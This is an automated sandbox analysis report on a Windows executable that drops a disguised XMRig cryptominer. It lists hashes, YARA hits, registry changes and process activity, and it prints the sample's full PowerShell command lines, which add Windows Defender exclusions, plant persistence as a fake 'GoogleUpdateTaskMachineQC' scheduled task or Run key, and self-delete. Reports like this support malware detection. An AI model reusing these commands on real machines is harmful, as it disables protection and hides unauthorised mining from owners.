Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1807s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
JqLvG94UkYjhxAeg.exeupdater.exedescription pid Process procid_target PID 3000 created 3492 3000 JqLvG94UkYjhxAeg.exe 14 PID 3000 created 3492 3000 JqLvG94UkYjhxAeg.exe 14 PID 3000 created 3492 3000 JqLvG94UkYjhxAeg.exe 14 PID 3000 created 3492 3000 JqLvG94UkYjhxAeg.exe 14 PID 4684 created 3492 4684 updater.exe 14 PID 4684 created 3492 4684 updater.exe 14 PID 4684 created 3492 4684 updater.exe 14 PID 4684 created 3492 4684 updater.exe 14 PID 4684 created 3492 4684 updater.exe 14 -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral16/memory/4196-127-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-131-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-133-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-137-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-139-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-141-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-143-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-145-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-147-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-149-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-151-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-153-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-155-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-157-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-159-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-161-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-163-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-165-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-167-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-169-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-171-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-173-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-175-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-177-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-179-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-181-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-183-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-185-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig behavioral16/memory/4196-187-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 4684 updater.exe -
Processes:
resource yara_rule behavioral16/memory/4196-122-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-127-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-131-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-133-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-137-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-139-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-141-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-143-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-145-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-147-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-149-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-151-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-153-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-155-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-157-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-159-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-161-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-163-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-165-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-167-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-169-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-171-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-173-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-175-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-177-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-179-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-181-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-183-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-185-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx behavioral16/memory/4196-187-0x00007FF74FDB0000-0x00007FF7505A4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 4684 set thread context of 4116 4684 updater.exe 114 PID 4684 set thread context of 4196 4684 updater.exe 109 -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.exeJqLvG94UkYjhxAeg.exeupdater.execmd.exedescription ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe JqLvG94UkYjhxAeg.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
JqLvG94UkYjhxAeg.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 3000 JqLvG94UkYjhxAeg.exe 3000 JqLvG94UkYjhxAeg.exe 3500 powershell.exe 3500 powershell.exe 3000 JqLvG94UkYjhxAeg.exe 3000 JqLvG94UkYjhxAeg.exe 1480 powershell.exe 1480 powershell.exe 3000 JqLvG94UkYjhxAeg.exe 3000 JqLvG94UkYjhxAeg.exe 3000 JqLvG94UkYjhxAeg.exe 3000 JqLvG94UkYjhxAeg.exe 3080 powershell.exe 3080 powershell.exe 4684 updater.exe 4684 updater.exe 3540 powershell.exe 3540 powershell.exe 4684 updater.exe 4684 updater.exe 4076 powershell.exe 4076 powershell.exe 4684 updater.exe 4684 updater.exe 4684 updater.exe 4684 updater.exe 4116 conhost.exe 4116 conhost.exe 4684 updater.exe 4684 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 664 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 3500 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeIncreaseQuotaPrivilege 1480 powershell.exe Token: SeSecurityPrivilege 1480 powershell.exe Token: SeTakeOwnershipPrivilege 1480 powershell.exe Token: SeLoadDriverPrivilege 1480 powershell.exe Token: SeSystemProfilePrivilege 1480 powershell.exe Token: SeSystemtimePrivilege 1480 powershell.exe Token: SeProfSingleProcessPrivilege 1480 powershell.exe Token: SeIncBasePriorityPrivilege 1480 powershell.exe Token: SeCreatePagefilePrivilege 1480 powershell.exe Token: SeBackupPrivilege 1480 powershell.exe Token: SeRestorePrivilege 1480 powershell.exe Token: SeShutdownPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeSystemEnvironmentPrivilege 1480 powershell.exe Token: SeRemoteShutdownPrivilege 1480 powershell.exe Token: SeUndockPrivilege 1480 powershell.exe Token: SeManageVolumePrivilege 1480 powershell.exe Token: 33 1480 powershell.exe Token: 34 1480 powershell.exe Token: 35 1480 powershell.exe Token: 36 1480 powershell.exe Token: SeIncreaseQuotaPrivilege 1480 powershell.exe Token: SeSecurityPrivilege 1480 powershell.exe Token: SeTakeOwnershipPrivilege 1480 powershell.exe Token: SeLoadDriverPrivilege 1480 powershell.exe Token: SeSystemProfilePrivilege 1480 powershell.exe Token: SeSystemtimePrivilege 1480 powershell.exe Token: SeProfSingleProcessPrivilege 1480 powershell.exe Token: SeIncBasePriorityPrivilege 1480 powershell.exe Token: SeCreatePagefilePrivilege 1480 powershell.exe Token: SeBackupPrivilege 1480 powershell.exe Token: SeRestorePrivilege 1480 powershell.exe Token: SeShutdownPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeSystemEnvironmentPrivilege 1480 powershell.exe Token: SeRemoteShutdownPrivilege 1480 powershell.exe Token: SeUndockPrivilege 1480 powershell.exe Token: SeManageVolumePrivilege 1480 powershell.exe Token: 33 1480 powershell.exe Token: 34 1480 powershell.exe Token: 35 1480 powershell.exe Token: 36 1480 powershell.exe Token: SeIncreaseQuotaPrivilege 1480 powershell.exe Token: SeSecurityPrivilege 1480 powershell.exe Token: SeTakeOwnershipPrivilege 1480 powershell.exe Token: SeLoadDriverPrivilege 1480 powershell.exe Token: SeSystemProfilePrivilege 1480 powershell.exe Token: SeSystemtimePrivilege 1480 powershell.exe Token: SeProfSingleProcessPrivilege 1480 powershell.exe Token: SeIncBasePriorityPrivilege 1480 powershell.exe Token: SeCreatePagefilePrivilege 1480 powershell.exe Token: SeBackupPrivilege 1480 powershell.exe Token: SeRestorePrivilege 1480 powershell.exe Token: SeShutdownPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeSystemEnvironmentPrivilege 1480 powershell.exe Token: SeRemoteShutdownPrivilege 1480 powershell.exe Token: SeUndockPrivilege 1480 powershell.exe Token: SeManageVolumePrivilege 1480 powershell.exe Token: 33 1480 powershell.exe Token: 34 1480 powershell.exe Token: 35 1480 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 2696 wrote to memory of 3420 2696 cmd.exe 99 PID 2696 wrote to memory of 3420 2696 cmd.exe 99 PID 3080 wrote to memory of 1604 3080 powershell.exe 101 PID 3080 wrote to memory of 1604 3080 powershell.exe 101 PID 4684 wrote to memory of 4116 4684 updater.exe 114 PID 3064 wrote to memory of 4072 3064 cmd.exe 108 PID 3064 wrote to memory of 4072 3064 cmd.exe 108 PID 4684 wrote to memory of 4196 4684 updater.exe 109 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3492
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3500
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3420
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1604
